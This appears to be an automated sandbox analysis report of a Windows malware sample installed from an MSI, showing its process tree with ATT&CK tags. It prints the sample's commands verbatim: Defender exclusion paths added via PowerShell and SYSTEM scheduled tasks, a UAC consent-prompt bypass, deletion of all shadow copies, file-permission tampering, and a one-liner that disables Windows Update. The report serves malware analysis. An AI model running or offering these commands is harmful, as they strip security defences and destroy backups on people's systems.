PID 5528 wrote to memory of 3680	5528	cmd.exe	116
PID 6064 wrote to memory of 2968	6064	IHJuVM.exe	118
PID 2968 wrote to memory of 6024	2968	cmd.exe	120
PID 2968 wrote to memory of 3468	2968	cmd.exe	121
PID 2968 wrote to memory of 2716	2968	cmd.exe	123
PID 6064 wrote to memory of 2776	6064	IHJuVM.exe	125
PID 2776 wrote to memory of 5348	2776	cmd.exe	127
PID 2776 wrote to memory of 3216	2776	cmd.exe	128
PID 2776 wrote to memory of 4200	2776	cmd.exe	130
PID 3556 wrote to memory of 3868	3556	cmd.exe	132
PID 4256 wrote to memory of 5084	4256	cmd.exe	133
PID 6064 wrote to memory of 4732	6064	IHJuVM.exe	134
PID 4732 wrote to memory of 2652	4732	cmd.exe	136
PID 4732 wrote to memory of 2668	4732	cmd.exe	137
PID 4732 wrote to memory of 2436	4732	cmd.exe	139
PID 1964 wrote to memory of 5584	1964	cmd.exe	142
PID 5760 wrote to memory of 1248	5760	cmd.exe	143
PID 1904 wrote to memory of 3032	1904	cmd.exe	144
PID 6064 wrote to memory of 3480	6064	IHJuVM.exe	145
PID 3480 wrote to memory of 1072	3480	vdsK5r.exe	244
PID 3480 wrote to memory of 2464	3480	vdsK5r.exe	149
PID 2464 wrote to memory of 5952	2464	cmd.exe	152
PID 3480 wrote to memory of 6024	3480	vdsK5r.exe	153

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	vdsK5r.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_mal004.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:5428

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3444
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6072
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 8B5E66CCCA9C2CCD056B191A070426BE E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:5764

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:5008

C:\Users\Public\tTcpG7\IHJuVM.exe
"C:\Users\Public\tTcpG7\IHJuVM.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\tTcpG7\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6140
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\tTcpG7\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5180
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5752
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5528
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2024
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1676
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2968
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6024
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3468
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5348
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3216
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4732
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2652
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2668
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2436
- C:\Program Files (x86)\PpmMey\vdsK5r.exe
  "C:\Program Files (x86)\PpmMey\vdsK5r.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:3480
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1072
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\PpmMey" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2464
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\PpmMey" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5952
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:6024
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\PpmMey" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:908
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\PpmMey" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:848
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:4520
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:1768
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:2592
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:2148
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3328
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:4132
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:2732
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4708
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4804
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:5608
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:6048
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:2132
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:5052
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:4276
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:3668
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:2460
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:5156
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2568
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5284
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4220
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2136
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5468
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4084
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2960
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2252
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:1936
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:1896
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:2636
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2060
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\PpmMey\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3396
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\PpmMey\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6008
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4948
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5944
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:6000
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5564
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4500
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4488
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\PpmMey" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:5376
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\PpmMey" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2220
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\PpmMey\vdsK5r.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:3520
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\PpmMey\vdsK5r.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1076
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3968
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5324
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4232
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4312
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2704
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3204
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1384
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3232
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\PpmMey\vdsK5r.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:1640
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\PpmMey\vdsK5r.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1368
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\PpmMey\vdsK5r.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:1276
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\PpmMey\vdsK5r.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3748
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:2224
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3336
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1864
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1256
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\PpmMey\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4512
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\PpmMey\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4332
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\PpmMey\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:744
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\PpmMey\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4812
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\PpmMey\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3160
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\PpmMey\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4508
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\PpmMey\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4436
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\PpmMey\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2076
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\PpmMey\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2180
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\PpmMey\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3424
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\PpmMey\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3352
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\PpmMey\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1072
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\PpmMey\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4108
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\PpmMey\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3680
- - C:\Windows\SysWOW64\cmd.exe
